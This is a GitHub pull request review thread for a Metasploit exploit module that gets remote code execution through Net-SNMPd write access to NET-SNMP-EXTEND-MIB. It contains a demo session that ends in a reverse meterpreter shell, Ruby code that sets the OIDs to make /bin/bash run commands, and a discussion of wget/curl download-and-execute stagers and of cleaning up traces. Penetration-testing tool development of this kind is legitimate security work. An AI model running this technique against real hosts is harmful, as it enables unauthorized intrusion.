New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Linux net snmpd rw access #9396

Open
wants to merge 22 commits into
base: master
from

Conversation

Projects
None yet
3 participants
@steve-embling
Contributor

steve-embling commented Jan 11, 2018

Adds an exploit for authenticated read/write access on Net-SNMPd.

Note this is a re-opening of PR #9341

Verification

Tested against Ubuntu 16.04

  • Install snmpd apt-get install snmpd
  • Add a rw user to the snmpd configuration
  • Restart snmpd service service snmpd restart
  • Start msfconsole
  • Do: use exploit/linux/snmp/net_snmpd_rw_access
  • Set SNMP version set version 2c
  • Set R/W Community string, e.g set community private
  • Set RHOST
  • Select desired payload
  • exploit
  • Verify the shell is returned

Demo

msf > use exploit/linux/snmp/net_snmpd_rw_access 
msf exploit(linux/snmp/net_snmpd_rw_access) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf exploit(linux/snmp/net_snmpd_rw_access) > set rhost 192.168.1.3
rhost => 192.168.1.3
msf exploit(linux/snmp/net_snmpd_rw_access) > set lhost 192.168.1.2
lhost => 192.168.1.2
msf exploit(linux/snmp/net_snmpd_rw_access) > set community private
community => private
msf exploit(linux/snmp/net_snmpd_rw_access) > set version 2c
version => 2c
msf exploit(linux/snmp/net_snmpd_rw_access) > show options

Module options (exploit/linux/snmp/net_snmpd_rw_access):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   CHUNKSIZE  200              yes       Maximum bytes of payload to write at once 
   COMMUNITY  private          yes       SNMP Community String
   FILEPATH   /tmp             yes       file path to write to 
   RETRIES    1                yes       SNMP Retries
   RHOST      192.168.1.3      yes       The target address
   RPORT      161              yes       The target port (UDP)
   TIMEOUT    1                yes       SNMP Timeout
   VERSION    2c               yes       SNMP Version <1/2c>


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.2    yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Linux x86


msf exploit(linux/snmp/net_snmpd_rw_access) > show info

       Name: Net-SNMPd Write Access SNMP-EXTEND-MIB arbitrary code execution
     Module: exploit/linux/snmp/net_snmpd_rw_access
   Platform: 
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Steve Embling at InteliSecure

Available targets:
  Id  Name
  --  ----
  0   Linux x86

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  CHUNKSIZE  200              yes       Maximum bytes of payload to write at once 
  COMMUNITY  private          yes       SNMP Community String
  FILEPATH   /tmp             yes       file path to write to 
  RETRIES    1                yes       SNMP Retries
  RHOST      192.168.1.3      yes       The target address
  RPORT      161              yes       The target port (UDP)
  TIMEOUT    1                yes       SNMP Timeout
  VERSION    2c               yes       SNMP Version <1/2c>

Payload information:
  Space: 4096

Description:
  This exploit module exploits the SNMP write access configuration 
  ability of SNMP-EXTEND-MIB to configure MIB extensions and lead to 
  remote code execution.

References:
  https://www.intelisecure.com

msf exploit(linux/snmp/net_snmpd_rw_access) > run

[*] Started reverse TCP handler on 192.168.1.2:4444 
[*] Writing to NET-SNMP-EXTEND-MIB with given payload
[*] Payload generated. Sending in 200 byte chunk increments.
[*] Sent chunked executable. Now executing payload
[*] Sending stage (849108 bytes) to 192.168.1.3
[+] SNMP request timeout (this is promising).

meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.1.3 - Meterpreter session 1 closed.  Reason: User exit

steve-embling added some commits Dec 22, 2017

@steve-embling steve-embling referenced this pull request Jan 11, 2018

Closed

Linux net snmpd rw access #9341

0 of 11 tasks complete

@acammack-r7 acammack-r7 self-assigned this Jan 31, 2018

@steve-embling

This comment has been minimized.

Show comment
Hide comment
@steve-embling

steve-embling Feb 6, 2018

Contributor

Hi all.

I've got some time coming up in two weeks where I can make any changes to this and test a couple more platforms. In terms of cleanup or changes for getting this pulled is anything further required?

Contributor

steve-embling commented Feb 6, 2018

Hi all.

I've got some time coming up in two weeks where I can make any changes to this and test a couple more platforms. In terms of cleanup or changes for getting this pulled is anything further required?

@bcoles

This comment has been minimized.

Show comment
Hide comment
@bcoles

bcoles Feb 7, 2018

Contributor

It seems GitHub ate some of my comments.

Each instance of:

SNMP::Manager.open(:Host => datastore['RHOST'], :Port => datastore['RPORT'], :Community => datastore['COMMUNITY']) do |manager|

Can be replaced with:

SNMP::Manager.open(:Host => rhost, :Port => rport, :Community => comm) do |manager|
Contributor

bcoles commented Feb 7, 2018

It seems GitHub ate some of my comments.

Each instance of:

SNMP::Manager.open(:Host => datastore['RHOST'], :Port => datastore['RPORT'], :Community => datastore['COMMUNITY']) do |manager|

Can be replaced with:

SNMP::Manager.open(:Host => rhost, :Port => rport, :Community => comm) do |manager|
@steve-embling

This comment has been minimized.

Show comment
Hide comment
@steve-embling

steve-embling Feb 7, 2018

Contributor

I'll get these changed the next week or so - thanks for the comments.

Contributor

steve-embling commented Feb 7, 2018

I'll get these changed the next week or so - thanks for the comments.

@steve-embling

This comment has been minimized.

Show comment
Hide comment
@steve-embling

steve-embling Feb 8, 2018

Contributor

I think I've addressed the comments, but will not be able to re-test until early next week.

Contributor

steve-embling commented Feb 8, 2018

I think I've addressed the comments, but will not be able to re-test until early next week.

@bcoles

This comment has been minimized.

Show comment
Hide comment
@bcoles

bcoles Feb 9, 2018

Contributor

The changes look good.

The formatting of the options in the documentation might anger the local documentation overlord, which is my bad, I should have offered some examples.

Contributor

bcoles commented Feb 9, 2018

The changes look good.

The formatting of the options in the documentation might anger the local documentation overlord, which is my bad, I should have offered some examples.

@bcoles

This comment has been minimized.

Show comment
Hide comment
@bcoles

bcoles Feb 9, 2018

Contributor

Have you tried implementing the payload delivery using a Metasploit command stager ? Just curious. This module would probably work well with the command stager. This would take care of the payload chunking for you, which is nice. Implementing the response checking on the final request might be problematic.

You can find examples of command stager implementations on Linux with: grep -rn "execute_cmdstager" modules/exploits/linux/.

Here's some very rough untested psuedo-code that does no error checking, as an example, and certainly won't work without modifications.

The approach of wrapping the command in -c "" is rather janky. I think there's a way to overwrite the default interpreter but I can't find it at the moment. An alternative would be to grab the automatically generated command from the cmd parameter by splitting by whitespace, then overwrite oid_2_value = "/bin/bash" with the extracted command.

  #
  # The exploit method connects and sets:
  # NET-SNMP-EXTEND-MIB::nsExtendStatus."tmp" = INTEGER: createAndGo(4)
  # NET-SNMP-EXTEND-MIB::nsExtendCommand."tmp" = STRING: /path/to/executable
  # NET-SNMP-EXTEND-MIB::nsExtendArgs."tmp" = STRING: arguments
  #
  def execute_command(cmd, opts = {})

    # NET-SNMP-EXTEND-MIB::nsExtendStatus."tmp" = INTEGER: createAndGo(4)
    oid_1 = '1.3.6.1.4.1.8072.1.3.2.2.1.21.3.116.109.112'
    oid_1_value = 4
    oid_2 = '1.3.6.1.4.1.8072.1.3.2.2.1.2.3.116.109.112'
    oid_2_value = "/bin/bash"
    oid_3 = '1.3.6.1.4.1.8072.1.3.2.2.1.3.3.116.109.112'
    oid_4 = '1.3.6.1.4.1.8072.1.3.2.4.1.2.3.116.109.112.1'

      comm = datastore['COMMUNITY']
      oid_3_value = "-c \"#{cmd}\""

      SNMP::Manager.open(:Host => rhost, :Port => rport, :Community => @comm) do |manager|
          vprint_status(manager.get_value("sysDescr.0"))
          varbind1 = SNMP::VarBind.new(oid_1,SNMP::Integer.new(oid_1_value))
          varbind2 = SNMP::VarBind.new(oid_2,SNMP::OctetString.new(oid_2_value))
          varbind3 = SNMP::VarBind.new(oid_3,SNMP::OctetString.new(oid_3_value))
          resp = manager.set([varbind1, varbind2, varbind3])
          vprint_status(manager.get_value(oid_4).to_s)
      end
      #Hit same again, first rewrite  appears to remove the MIB, the next reinstates it.
      SNMP::Manager.open(:Host => rhost, :Port => rport, :Community => @comm) do |manager|
          varbind1 = SNMP::VarBind.new(oid_1,SNMP::Integer.new(oid_1_value))
          varbind2 = SNMP::VarBind.new(oid_2,SNMP::OctetString.new(oid_2_value))
          varbind3 = SNMP::VarBind.new(oid_3,SNMP::OctetString.new(oid_3_value))
          resp = manager.set([varbind1, varbind2, varbind3])
          vprint_status(manager.get_value(oid_4).to_s)
      end
    end

  end

  def exploit
    execute_cmdstager(linemax: datastore['CHUNKSIZE'], :temp => datastore['FILEPATH'])
  end
end
Contributor

bcoles commented Feb 9, 2018

Have you tried implementing the payload delivery using a Metasploit command stager ? Just curious. This module would probably work well with the command stager. This would take care of the payload chunking for you, which is nice. Implementing the response checking on the final request might be problematic.

You can find examples of command stager implementations on Linux with: grep -rn "execute_cmdstager" modules/exploits/linux/.

Here's some very rough untested psuedo-code that does no error checking, as an example, and certainly won't work without modifications.

The approach of wrapping the command in -c "" is rather janky. I think there's a way to overwrite the default interpreter but I can't find it at the moment. An alternative would be to grab the automatically generated command from the cmd parameter by splitting by whitespace, then overwrite oid_2_value = "/bin/bash" with the extracted command.

  #
  # The exploit method connects and sets:
  # NET-SNMP-EXTEND-MIB::nsExtendStatus."tmp" = INTEGER: createAndGo(4)
  # NET-SNMP-EXTEND-MIB::nsExtendCommand."tmp" = STRING: /path/to/executable
  # NET-SNMP-EXTEND-MIB::nsExtendArgs."tmp" = STRING: arguments
  #
  def execute_command(cmd, opts = {})

    # NET-SNMP-EXTEND-MIB::nsExtendStatus."tmp" = INTEGER: createAndGo(4)
    oid_1 = '1.3.6.1.4.1.8072.1.3.2.2.1.21.3.116.109.112'
    oid_1_value = 4
    oid_2 = '1.3.6.1.4.1.8072.1.3.2.2.1.2.3.116.109.112'
    oid_2_value = "/bin/bash"
    oid_3 = '1.3.6.1.4.1.8072.1.3.2.2.1.3.3.116.109.112'
    oid_4 = '1.3.6.1.4.1.8072.1.3.2.4.1.2.3.116.109.112.1'

      comm = datastore['COMMUNITY']
      oid_3_value = "-c \"#{cmd}\""

      SNMP::Manager.open(:Host => rhost, :Port => rport, :Community => @comm) do |manager|
          vprint_status(manager.get_value("sysDescr.0"))
          varbind1 = SNMP::VarBind.new(oid_1,SNMP::Integer.new(oid_1_value))
          varbind2 = SNMP::VarBind.new(oid_2,SNMP::OctetString.new(oid_2_value))
          varbind3 = SNMP::VarBind.new(oid_3,SNMP::OctetString.new(oid_3_value))
          resp = manager.set([varbind1, varbind2, varbind3])
          vprint_status(manager.get_value(oid_4).to_s)
      end
      #Hit same again, first rewrite  appears to remove the MIB, the next reinstates it.
      SNMP::Manager.open(:Host => rhost, :Port => rport, :Community => @comm) do |manager|
          varbind1 = SNMP::VarBind.new(oid_1,SNMP::Integer.new(oid_1_value))
          varbind2 = SNMP::VarBind.new(oid_2,SNMP::OctetString.new(oid_2_value))
          varbind3 = SNMP::VarBind.new(oid_3,SNMP::OctetString.new(oid_3_value))
          resp = manager.set([varbind1, varbind2, varbind3])
          vprint_status(manager.get_value(oid_4).to_s)
      end
    end

  end

  def exploit
    execute_cmdstager(linemax: datastore['CHUNKSIZE'], :temp => datastore['FILEPATH'])
  end
end
@steve-embling

This comment has been minimized.

Show comment
Hide comment
@steve-embling

steve-embling Feb 9, 2018

Contributor

Since writing this I've seen an option to fork and execute in the MIB, which would prevent snmpd hanging while meterpreter runs, i think it would be better to implement this over the next week too to be a little more subtle - currently it checks for for the hang to see if everything seems to be working which that would obviously break but that is worth it imo. This change would then allow the exploit to delete the written file on disk and clear the written mibs by itself too which it does not do currently, so again, a little more subtle/client friendly.

I'd also like to make the MIBs name configurable or random, currently it writes to "tmp" which could conceivably be used by a sysadmin to, say, clear the tmp directory or something, as unlikely as that scenario probably is

Have you tried implementing the payload delivery using a Metasploit command stager ?

Nope, it looks like exactly what I should have used. I'll try to find some examples of its use and see what I can do to use that, but I'm it is likely to be a bit slower going being completely new to Ruby and MSF internals.

The approach of wrapping the command in -c "" is rather janky. I think there's a way to overwrite the default interpreter but I can't find it at the moment.

When you say the "default interpreter" is that the default shell chosen by command stager or the system default shell? You lost me a little there. For embedded devices in particular it might be nice if this was user configurable rather than hardcoded, but I guess I'll look at other command stager uses and see what they are doing.

If you have better methods than wrapping in -c "" then I can get that changed too. Again, if I see something when looking through other sources I'll change it, I think I did it this way so I could do a bunch of piping - quick and easy.

Contributor

steve-embling commented Feb 9, 2018

Since writing this I've seen an option to fork and execute in the MIB, which would prevent snmpd hanging while meterpreter runs, i think it would be better to implement this over the next week too to be a little more subtle - currently it checks for for the hang to see if everything seems to be working which that would obviously break but that is worth it imo. This change would then allow the exploit to delete the written file on disk and clear the written mibs by itself too which it does not do currently, so again, a little more subtle/client friendly.

I'd also like to make the MIBs name configurable or random, currently it writes to "tmp" which could conceivably be used by a sysadmin to, say, clear the tmp directory or something, as unlikely as that scenario probably is

Have you tried implementing the payload delivery using a Metasploit command stager ?

Nope, it looks like exactly what I should have used. I'll try to find some examples of its use and see what I can do to use that, but I'm it is likely to be a bit slower going being completely new to Ruby and MSF internals.

The approach of wrapping the command in -c "" is rather janky. I think there's a way to overwrite the default interpreter but I can't find it at the moment.

When you say the "default interpreter" is that the default shell chosen by command stager or the system default shell? You lost me a little there. For embedded devices in particular it might be nice if this was user configurable rather than hardcoded, but I guess I'll look at other command stager uses and see what they are doing.

If you have better methods than wrapping in -c "" then I can get that changed too. Again, if I see something when looking through other sources I'll change it, I think I did it this way so I could do a bunch of piping - quick and easy.

@bcoles

This comment has been minimized.

Show comment
Hide comment
@bcoles

bcoles Feb 9, 2018

Contributor

Ah yeah my bad I wasn't clear.

I was referring to the example code I provided, where I lazying wrapped the command in -c "". This was done out of laziness so that oid_2_value didn't have to be changed from "/bin/bash".

Contributor

bcoles commented Feb 9, 2018

Ah yeah my bad I wasn't clear.

I was referring to the example code I provided, where I lazying wrapped the command in -c "". This was done out of laziness so that oid_2_value didn't have to be changed from "/bin/bash".

@bcoles

This comment has been minimized.

Show comment
Hide comment
@bcoles

bcoles Feb 9, 2018

Contributor

In retrospect my "default interpreter" comments were nonsense - using the split by whitespace approach would make more sense. Not sure if there's a better approach.

When execute_cmdstager is invoked within a module, it will use the execute_command method in the module to execute commands.

The command stager will chunk the exe, then use the cmdstager::flavor (printf, echo, etc) to write the chunks to a file, then chmod and execute the file. The command stager also supports a few download-and-execute cmdstager::flavors with wget and curl, which can be useful so long as network egress rules allow the connection.

The easiest approach is probably something like this (psuedo code, for demonstration purposes):

def execute_command(cmd, opts = {})
  # ... snip ...

  # split the command by whitespace
  bin_path = cmd.split(/\s/).first
  oid_2_value = bin_path

  # ... snip ...

  oid_3_value = cmd.sub(/^#{bin_path}/) # remove the command from the start of the string

  # ... snip ...
end

I hope that makes sense?

As an aside, another benefit of supporting the native metasploit command stager is that the cmdstager::flavor is user configurable. If some flavors are known not to work, you can easily prevent their use with deregister_options. You can find a few examples in the source with grep -rn "CMDSTAGER::FLAVOR" modules/exploits/.

Contributor

bcoles commented Feb 9, 2018

In retrospect my "default interpreter" comments were nonsense - using the split by whitespace approach would make more sense. Not sure if there's a better approach.

When execute_cmdstager is invoked within a module, it will use the execute_command method in the module to execute commands.

The command stager will chunk the exe, then use the cmdstager::flavor (printf, echo, etc) to write the chunks to a file, then chmod and execute the file. The command stager also supports a few download-and-execute cmdstager::flavors with wget and curl, which can be useful so long as network egress rules allow the connection.

The easiest approach is probably something like this (psuedo code, for demonstration purposes):

def execute_command(cmd, opts = {})
  # ... snip ...

  # split the command by whitespace
  bin_path = cmd.split(/\s/).first
  oid_2_value = bin_path

  # ... snip ...

  oid_3_value = cmd.sub(/^#{bin_path}/) # remove the command from the start of the string

  # ... snip ...
end

I hope that makes sense?

As an aside, another benefit of supporting the native metasploit command stager is that the cmdstager::flavor is user configurable. If some flavors are known not to work, you can easily prevent their use with deregister_options. You can find a few examples in the source with grep -rn "CMDSTAGER::FLAVOR" modules/exploits/.

@steve-embling

This comment has been minimized.

Show comment
Hide comment
@steve-embling

steve-embling Feb 9, 2018

Contributor

Makes perfect sense - thanks for clarifying.
I'll have a bit of a play and see how far i get.
Cheers

Contributor

steve-embling commented Feb 9, 2018

Makes perfect sense - thanks for clarifying.
I'll have a bit of a play and see how far i get.
Cheers

@steve-embling

This comment has been minimized.

Show comment
Hide comment
@steve-embling

steve-embling Feb 9, 2018

Contributor

Right, I've ported it over to cmdstager and bourne shell is working but reverse_tcp meterpreter is consistently segfaulting now, and echo/printf aren't working because the nested quoting is stripping characters and the files are getting written out as ascii instead of binary payloads, i think i need to specify the internal quotes to use those flavours - which would be nice to have as an option for more limited systems. I might just sit and play with the quoting or maybe replacing strings until I find something that works reliably.

I constantly forget how awful I find quoting in bash until I need it. I'm not sure if its going to work unless I can specify the internal quotes to escape those characters appropriately.

It is looking much shorter/cleaner though which is nice.

Bourne flavour is segfaulting on meterpreter payloads on most runs which was fairly reliable before. Not sure what the problem is there.

It will likely have to wait next week when I can put some dedicated time into testing this though. I'll keep plugging away but just a quick update..

Contributor

steve-embling commented Feb 9, 2018

Right, I've ported it over to cmdstager and bourne shell is working but reverse_tcp meterpreter is consistently segfaulting now, and echo/printf aren't working because the nested quoting is stripping characters and the files are getting written out as ascii instead of binary payloads, i think i need to specify the internal quotes to use those flavours - which would be nice to have as an option for more limited systems. I might just sit and play with the quoting or maybe replacing strings until I find something that works reliably.

I constantly forget how awful I find quoting in bash until I need it. I'm not sure if its going to work unless I can specify the internal quotes to escape those characters appropriately.

It is looking much shorter/cleaner though which is nice.

Bourne flavour is segfaulting on meterpreter payloads on most runs which was fairly reliable before. Not sure what the problem is there.

It will likely have to wait next week when I can put some dedicated time into testing this though. I'll keep plugging away but just a quick update..

@bcoles

This comment has been minimized.

Show comment
Hide comment
@bcoles

bcoles Feb 9, 2018

Contributor

That was quick. Thanks for the update. There's no hurry.

Meterpreter itself is segfaulting? That's unusual. Are you using the latest version of msf from GitHub?

What do you mean by nested quoting?

set cmdstager::flavor wget is usually pretty reliable for testing. Short payload too.

Contributor

bcoles commented Feb 9, 2018

That was quick. Thanks for the update. There's no hurry.

Meterpreter itself is segfaulting? That's unusual. Are you using the latest version of msf from GitHub?

What do you mean by nested quoting?

set cmdstager::flavor wget is usually pretty reliable for testing. Short payload too.

@steve-embling

This comment has been minimized.

Show comment
Hide comment
@steve-embling

steve-embling Feb 9, 2018

Contributor

It's working solidly now after a couple of reboots - not sure why I was getting that issue but it has run run 13x in a row with not a single segfault. So whatever that was is on me. I'll be keeping an eye out for it happening again though.

I need to modify the provided echo and printf strings if that flavour is used to allow single quotes within single quotes, calling bash -c with double quotes does not work for writing hex characters (now I remember why I went with base64 before!). I'm hoping that should be a fairly fast change.

I'd like to allow printf and echo for embedded devices with no access to either bash or wget as the shell is now user configurable. But it may be overkill. If it takes too much time I might drop it.

Contributor

steve-embling commented Feb 9, 2018

It's working solidly now after a couple of reboots - not sure why I was getting that issue but it has run run 13x in a row with not a single segfault. So whatever that was is on me. I'll be keeping an eye out for it happening again though.

I need to modify the provided echo and printf strings if that flavour is used to allow single quotes within single quotes, calling bash -c with double quotes does not work for writing hex characters (now I remember why I went with base64 before!). I'm hoping that should be a fairly fast change.

I'd like to allow printf and echo for embedded devices with no access to either bash or wget as the shell is now user configurable. But it may be overkill. If it takes too much time I might drop it.

@bcoles

This comment has been minimized.

Show comment
Hide comment
@bcoles

bcoles Feb 9, 2018

Contributor

Cool. At a guess, the segfaults might have been due to lingering meterpreter processes on the host from previous failed exploitation attempts. I've encountered something similar.

Regarding the issue with quotes, using the split-by-whitespace technique should fix that. You may or may not also be able to leverage cmdstager::decoder.

Contributor

bcoles commented Feb 9, 2018

Cool. At a guess, the segfaults might have been due to lingering meterpreter processes on the host from previous failed exploitation attempts. I've encountered something similar.

Regarding the issue with quotes, using the split-by-whitespace technique should fix that. You may or may not also be able to leverage cmdstager::decoder.

@steve-embling

This comment has been minimized.

Show comment
Hide comment
@steve-embling

steve-embling Feb 14, 2018

Contributor

Hi again, so I believe I have fixed the issues.

Do I need to document all the cmdstager options or is that considered redundant?

Contributor

steve-embling commented Feb 14, 2018

Hi again, so I believe I have fixed the issues.

Do I need to document all the cmdstager options or is that considered redundant?

@steve-embling

This comment has been minimized.

Show comment
Hide comment
@steve-embling

steve-embling Feb 15, 2018

Contributor

OK, I've just confirmed all of the enabled cmdstager flavours are working (bourne, wget, echo, printf) which should give decent compatibility across many devices, assuming the escaping works on alternative shells. I assume this will work on ARM and MIPS devices but haven't got anything available to test so haven't added them as targets.

I've confirmed that the MIB is no longer present after the connection is torn down too.

I have not fixed the lack of responsiveness from the SNMP server while meterpreter is has spawned until the connection is closed. I may add something bash specific to the "bourne" flavour (as I assume this will be shell specific at best) at some point in the future, but that won't be short term if it works at all.

So if the documentation is alright for this, then I believe that is everything done. I haven't duplicated any cmdstager option documentation. I've assumed that is managed and maintained centrally rather than in the dependent modules - though I might be wrong.

@bcoles - Sorry for mentioning - it's only because of the comment spam making this hard to follow.

Contributor

steve-embling commented Feb 15, 2018

OK, I've just confirmed all of the enabled cmdstager flavours are working (bourne, wget, echo, printf) which should give decent compatibility across many devices, assuming the escaping works on alternative shells. I assume this will work on ARM and MIPS devices but haven't got anything available to test so haven't added them as targets.

I've confirmed that the MIB is no longer present after the connection is torn down too.

I have not fixed the lack of responsiveness from the SNMP server while meterpreter is has spawned until the connection is closed. I may add something bash specific to the "bourne" flavour (as I assume this will be shell specific at best) at some point in the future, but that won't be short term if it works at all.

So if the documentation is alright for this, then I believe that is everything done. I haven't duplicated any cmdstager option documentation. I've assumed that is managed and maintained centrally rather than in the dependent modules - though I might be wrong.

@bcoles - Sorry for mentioning - it's only because of the comment spam making this hard to follow.

@steve-embling

This comment has been minimized.

Show comment
Hide comment
@steve-embling

steve-embling Aug 8, 2018

Contributor

Is this waiting on me to do anything or is anything preventing this being merged?

Thanks.

Contributor

steve-embling commented Aug 8, 2018

Is this waiting on me to do anything or is anything preventing this being merged?

Thanks.

@bcoles

This comment has been minimized.

Show comment
Hide comment
@bcoles

bcoles Oct 5, 2018

Contributor

Hi @steve-embling

Sorry for the delay. I want to see this module merged. This is waiting on us, not you, although I do have a few comments.

Escaping

My primary concern with the module is the escaping jankiness. I'm kind of hoping whoever reviews this PR will find a clever way of simplifying this.

    if flavor == :echo
      #Add additional escaping for this flavour.
      cmd.gsub!('\\\\x', '\\\\\\\\\\\\\\\\x')
    end
    if flavor == :printf
      #Add additional escaping for this flavour.
      cmd.gsub!('\\', '\\\\\\\\\\')
    end

Check

A check method would be nice. Metasploit has SNMP libraries to check whether a provided community string is valid. I'm not sure if there's a consistent way to check whether the specified community string has rw privs.

DisclosureDate

The DisclosureDate metadata is a mandatory key. Given that this module makes use of intended functionality, it would be best to reference the date of release for the first version of snmpd which supported executing commands. (and also add a URL as a reference).

Contributor

bcoles commented Oct 5, 2018

Hi @steve-embling

Sorry for the delay. I want to see this module merged. This is waiting on us, not you, although I do have a few comments.

Escaping

My primary concern with the module is the escaping jankiness. I'm kind of hoping whoever reviews this PR will find a clever way of simplifying this.

    if flavor == :echo
      #Add additional escaping for this flavour.
      cmd.gsub!('\\\\x', '\\\\\\\\\\\\\\\\x')
    end
    if flavor == :printf
      #Add additional escaping for this flavour.
      cmd.gsub!('\\', '\\\\\\\\\\')
    end

Check

A check method would be nice. Metasploit has SNMP libraries to check whether a provided community string is valid. I'm not sure if there's a consistent way to check whether the specified community string has rw privs.

DisclosureDate

The DisclosureDate metadata is a mandatory key. Given that this module makes use of intended functionality, it would be best to reference the date of release for the first version of snmpd which supported executing commands. (and also add a URL as a reference).

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment